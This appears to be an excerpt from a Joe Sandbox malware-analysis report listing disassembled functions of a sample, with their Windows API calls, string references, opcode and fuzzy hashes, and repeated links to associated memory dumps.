Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Cnd_broadcastCurrentMtx_unlockThread
String ID: 0@F
API String ID: 2021000804-3035404066
Opcode ID: bdf9f7690fb5a3299c830190ccfff93e47a9427776f5e8f933d065b1cc046307
Instruction ID: 3610079e00c21cd2b0de95d1b9184f3cd789ea88e03aa853727036e2a8390633
Opcode Fuzzy Hash: bdf9f7690fb5a3299c830190ccfff93e47a9427776f5e8f933d065b1cc046307
Instruction Fuzzy Hash: 8301F935710B228BDB14AB56E4506ABB3A5EFC0358F91442FD41557301D738EC00C798

Function 003FE750 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49libraryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000,?,?,?,?,?,?), ref: 003FE758
LoadLibraryW.KERNEL32 ref: 003FE76F
GetLastError.KERNEL32 ref: 003FE784

Strings

`F, xrefs: 003FE7BF

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorLast$LibraryLoad
String ID: `F
API String ID: 1136134869-510860190
Opcode ID: f47f57870428e3a959e5f122267c765a750ff222d822601437925c15dfd1eb1d
Instruction ID: 2087f70c41b8330d3df8bf3e11db7bf1f7f44cb27cb04a723847165815a2b493
Opcode Fuzzy Hash: f47f57870428e3a959e5f122267c765a750ff222d822601437925c15dfd1eb1d
Instruction Fuzzy Hash: 661139B52046429FD350CF1EE908B91FBE4BB94315F19C176E518C7A50D7B9D868CBA0

Function 003E3860 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,00000000,?), ref: 003E3886
HeapFree.KERNEL32(00000000,00000000,?), ref: 003E38B7
___std_exception_destroy.LIBVCRUNTIME ref: 003E38D5

Strings

@ >, xrefs: 003E38CE

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FreeHeap$___std_exception_destroy
String ID: @ >
API String ID: 2050543389-3678301659
Opcode ID: fd3da8bc35e3547b1b4ae728200718eb7d9f2bcc84ce332d91798f15088fcee9
Instruction ID: 393988ffc1b9b47d4ec7c31c2f1a56fbd0d9a3b0af153f99b3c34c20a94ce555
Opcode Fuzzy Hash: fd3da8bc35e3547b1b4ae728200718eb7d9f2bcc84ce332d91798f15088fcee9
Instruction Fuzzy Hash: B601A2B5601722ABE7109F62DC48B53B7A8FF41325F154228F61487690D774EC29CBE0

Function 00424501 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNEL32(00000010,00000FA0,00000000,0000000C,004247C1,00000010,0000000C,?,003EA18F,0000000C,00000002), ref: 004244E0
RtlInitializeConditionVariable.NTDLL(00000010), ref: 004244F7

Strings

CEB, xrefs: 004244D9
NEB, xrefs: 004244F0

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Initialize$ConditionCriticalSectionVariable
String ID: CEB$NEB
API String ID: 129850285-3584107315
Opcode ID: 7d62dfaf48efb898ef5dbbdbdec41de52a8658aa43edea584f210ffd862b061e
Instruction ID: 2445e1d36edda9d0aef9e39836c76894c73c5dc560e3d6d1445a7ac92c7ceafe
Opcode Fuzzy Hash: 7d62dfaf48efb898ef5dbbdbdec41de52a8658aa43edea584f210ffd862b061e
Instruction Fuzzy Hash: F8F0623530022497C7249F5CF8187E277D8D785712F844527EA4683750DBB8ED91DA8D

Function 004230C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,003FA839), ref: 004230C6
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 004230D6

Strings

SetDefaultDllDirectories, xrefs: 004230D0
kernel32.dll, xrefs: 004230C1

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetDefaultDllDirectories$kernel32.dll
API String ID: 1646373207-2102062458
Opcode ID: aa443b1e4c809b5b2c98d17cf1d4bfdd482d84d38df7a10389cdc4547884a320
Instruction ID: dc4298ec5b8352bd939ecb59013dee50b6a2bc2f89cf2390bb6e78d5ef271f61
Opcode Fuzzy Hash: aa443b1e4c809b5b2c98d17cf1d4bfdd482d84d38df7a10389cdc4547884a320
Instruction Fuzzy Hash: 20D01235A407311399712B347D0A68F1B645B42B92B054462FD059A295CD7C8C5596E9

Function 0042EC14 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000002,eB,0042EC0E,eB,0042E465,?,00000002,A05DD77D,0042E465,00000002), ref: 0042EC25
TerminateProcess.KERNEL32(00000000), ref: 0042EC2C
ExitProcess.KERNEL32 ref: 0042EC3E

Strings

eB, xrefs: 0042EC16

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID: eB
API String ID: 1703294689-509024042
Opcode ID: 199636be2903f7df62ccba64ce35ab4701828baebf4072f982f761445e976462
Instruction ID: 64cfddfb5a1e7ba727ad865f33b5792221af498026435a0445903b0670d2fe56
Opcode Fuzzy Hash: 199636be2903f7df62ccba64ce35ab4701828baebf4072f982f761445e976462
Instruction Fuzzy Hash: C0D05E35000148AFCF002FA3FD0D9493F2AAF413407808021BA0949131CF3988619A48

Function 003E2CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernelbase.dll), ref: 003E2CC8
GetProcAddress.KERNEL32(00000000,RaiseFailFastException), ref: 003E2CD4

Strings

RaiseFailFastException, xrefs: 003E2CCE
kernelbase.dll, xrefs: 003E2CC3

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RaiseFailFastException$kernelbase.dll
API String ID: 1646373207-919018592
Opcode ID: c2f59fdd4c153b7119e0886f718eecdda9b74d68d97e5e06b858a4cf5eded439
Instruction ID: adccd01f9c2780ad56e3df2de41056d3f8e6158e9d71a20e6c96e382942d15df
Opcode Fuzzy Hash: c2f59fdd4c153b7119e0886f718eecdda9b74d68d97e5e06b858a4cf5eded439
Instruction Fuzzy Hash: 6BC08C322C8348A7625067E2BC0EF3A7B4C9612B213240822FF0CC0080CFA9C47592BD

Function 0041E5F0 Relevance: 6.4, APIs: 2, Strings: 2, Instructions: 398COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0041EA63

Part of subcall function 00420250: GetLastError.KERNEL32 ref: 0042028E

LocalFree.KERNEL32(?), ref: 0041E9F2

Strings

1.2.840.113549.1.9.6, xrefs: 0041E780
1.3.6.1.4.1.311.3.3.1, xrefs: 0041E714

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorLast$FreeLocal
String ID: 1.2.840.113549.1.9.6$1.3.6.1.4.1.311.3.3.1
API String ID: 1627422176-1286475088
Opcode ID: e8eefd33c52a691128883475ca6518ee6d8adfdde0db1e8fae7257b726657c8f
Instruction ID: 7133682c02d6760a8788497dbd7dc2b782dcef2bfbf136b85f3062ef91d3978f
Opcode Fuzzy Hash: e8eefd33c52a691128883475ca6518ee6d8adfdde0db1e8fae7257b726657c8f
Instruction Fuzzy Hash: AE028CB4D002499FDB11CF65C880BDEFBF1BF55304F14816AD859AB382EB39A985CB94

Function 003E4B00 Relevance: 6.4, APIs: 4, Instructions: 395COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 003E4C3D

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: dd0a0b48f15444ee53bb10a1840fa0a596c7832db5d8d7f2312be53eda304f1b
Instruction ID: c00b50431703a6a7b107762b4d0e0d42825207bbb569273d2bb4847d28eef1f1
Opcode Fuzzy Hash: dd0a0b48f15444ee53bb10a1840fa0a596c7832db5d8d7f2312be53eda304f1b
Instruction Fuzzy Hash: 0EC13772A00164AFDB11DF6ADC45BAFF7A8FB48314F15826EE809A7381D735AD00CB90

Function 003F2AD0 Relevance: 6.4, APIs: 4, Instructions: 359COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003F2D70
VariantCopy.OLEAUT32(?,?), ref: 003F2D7B
VariantClear.OLEAUT32(?), ref: 003F2DE9

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Variant$ClearCopyInit
String ID:
API String ID: 1785138364-0
Opcode ID: df9829998627ace3a4291d8ef2d27352d19a961a653bdd274bd0b3084a735189
Instruction ID: 9e8e1ff303356b83df5a757ad1ae68593e5f78fb02ab1fb1666b7707f18d2564
Opcode Fuzzy Hash: df9829998627ace3a4291d8ef2d27352d19a961a653bdd274bd0b3084a735189
Instruction Fuzzy Hash: 45B147B2A00118EFD715DF29DC46BBFB7A8EB48314F15822EE905A7391E775AC00C7A4

Function 00431FCB Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(A05DD77D,?,00000000,?), ref: 0043202E

Part of subcall function 004319A8: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00432DDA,?,00000000,-00000008), ref: 00431A54

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00432289
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 004322D1
GetLastError.KERNEL32 ref: 00432374

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 20a5dd5b5a521f13d66b136c86c95516793057278f59a394b4d3d5eb8a3f2e6f
Instruction ID: 7adeef404b3013284a84804b3ab45ee64d1a9093a14bd1e05fa1e05091aef8aa
Opcode Fuzzy Hash: 20a5dd5b5a521f13d66b136c86c95516793057278f59a394b4d3d5eb8a3f2e6f
Instruction Fuzzy Hash: 7CD19AB5D00248AFCF05CFA8D980AAEBBB4FF4D304F18816AE955E7351D778A942CB54

Function 0040A9C0 Relevance: 6.3, APIs: 4, Instructions: 279threadCOMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0040AB07
GetLastError.KERNEL32(A05DD77D,?,?), ref: 0040AB86
SwitchToThread.KERNEL32 ref: 0040ABC4
SetLastError.KERNEL32(?,00000000), ref: 0040ACA2

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorLast$Concurrency::cancel_current_taskSwitchThread
String ID:
API String ID: 2137634594-0
Opcode ID: 9a1f028c3732a1923477028a77ebb7486d2e1c4e714153b58a1e528d2a8c1601
Instruction ID: 1d29f2589c76c50169b9fff164b0a79c63c02114d14ae5022e499cb73776d13a
Opcode Fuzzy Hash: 9a1f028c3732a1923477028a77ebb7486d2e1c4e714153b58a1e528d2a8c1601
Instruction Fuzzy Hash: A5A10471A00205DFDB04DFA8D980AAEFBB5FF48304F24827EE915A7381D739A951CB95

Function 0040C5E0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 192COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00000000), ref: 0040C68D

Part of subcall function 00405F60: DeviceIoControl.KERNEL32(0040C674,000900EB,00000000,00000000,?,00000250,?,00000000), ref: 00405FCB

Strings

C:\jenkins\workspace\sumer_Cardinal_aviary-sdk_master\src\trust\lib\trust_impl.cpp, xrefs: 0040C81E
failed to get journal info for '%.*ls' (0x%p), xrefs: 0040C7DA
trust, xrefs: 0040C7E5

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CloseControlDeviceHandle
String ID: C:\jenkins\workspace\sumer_Cardinal_aviary-sdk_master\src\trust\lib\trust_impl.cpp$failed to get journal info for '%.*ls' (0x%p)$trust
API String ID: 2349616827-993390907
Opcode ID: 297cea5207d9336977a13670a623f00e94dbee435364dc32728e4ba6a102317a
Instruction ID: 6a8019fe8826de32cdef02639b45398297f6e8d60075bd4399cd0eb1e9f87bce
Opcode Fuzzy Hash: 297cea5207d9336977a13670a623f00e94dbee435364dc32728e4ba6a102317a
Instruction Fuzzy Hash: D9816070D00259CBDB14DF64C885BEEB7B5BF54304F0482AAD4097B292DB799E84CF55

Function 003F8B20 Relevance: 6.2, APIs: 4, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 00424A98: QueryPerformanceFrequency.KERNEL32(?,00000000,?,?,?,003F69AE,?,?,?,?,?,?,?,003F9042), ref: 00424AB3

Part of subcall function 00424A81: QueryPerformanceCounter.KERNEL32(?,?,?,?,003F69BD,?,?,?,?,?,?,?,003F9042), ref: 00424A8A

__alldvrm.LIBCMT ref: 003F8B9D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003F8BD0
__Xtime_get_ticks.LIBCPMT ref: 003F8C08
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003F8C8C

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: PerformanceQueryUnothrow_t@std@@@__ehfuncinfo$??2@$CounterFrequencyXtime_get_ticks__alldvrm
String ID:
API String ID: 3602549092-0
Opcode ID: 7f4b9ac62b1d4fd778bc626d927da10332adf2e2e2cab714ce044a1efce66e09
Instruction ID: 1575caa44dfbcde1ab4f81f622ab3a3fe05af0a9068f22d523995759af3e3a07
Opcode Fuzzy Hash: 7f4b9ac62b1d4fd778bc626d927da10332adf2e2e2cab714ce044a1efce66e09
Instruction Fuzzy Hash: EA61B371E002589FDB19DFA8C881BBEBBB4EF49314F15416EF915AB381CA749C04CB68

Function 003F5A30 Relevance: 6.2, APIs: 4, Instructions: 174COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 003F5AF7
std::_Rethrow_future_exception.LIBCPMT ref: 003F5B44
std::_Rethrow_future_exception.LIBCPMT ref: 003F5B54
__Mtx_unlock.LIBCPMT ref: 003F5BF0

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Mtx_unlockRethrow_future_exceptionstd::_
String ID:
API String ID: 3298230783-0
Opcode ID: fa0ad163e68bcdca41d19cc486d047bbcdb8a6d2e63044404cca1cfc4e26fccf
Instruction ID: a393333e36e05a4f0feb7cf19f8874f4b41e4b4bb0696568e7f051a44d3da896
Opcode Fuzzy Hash: fa0ad163e68bcdca41d19cc486d047bbcdb8a6d2e63044404cca1cfc4e26fccf
Instruction Fuzzy Hash: 88515971D007489BDB12EBB5D806BBFBBF4EF45304F00052EE65293682EB78A944C7A1

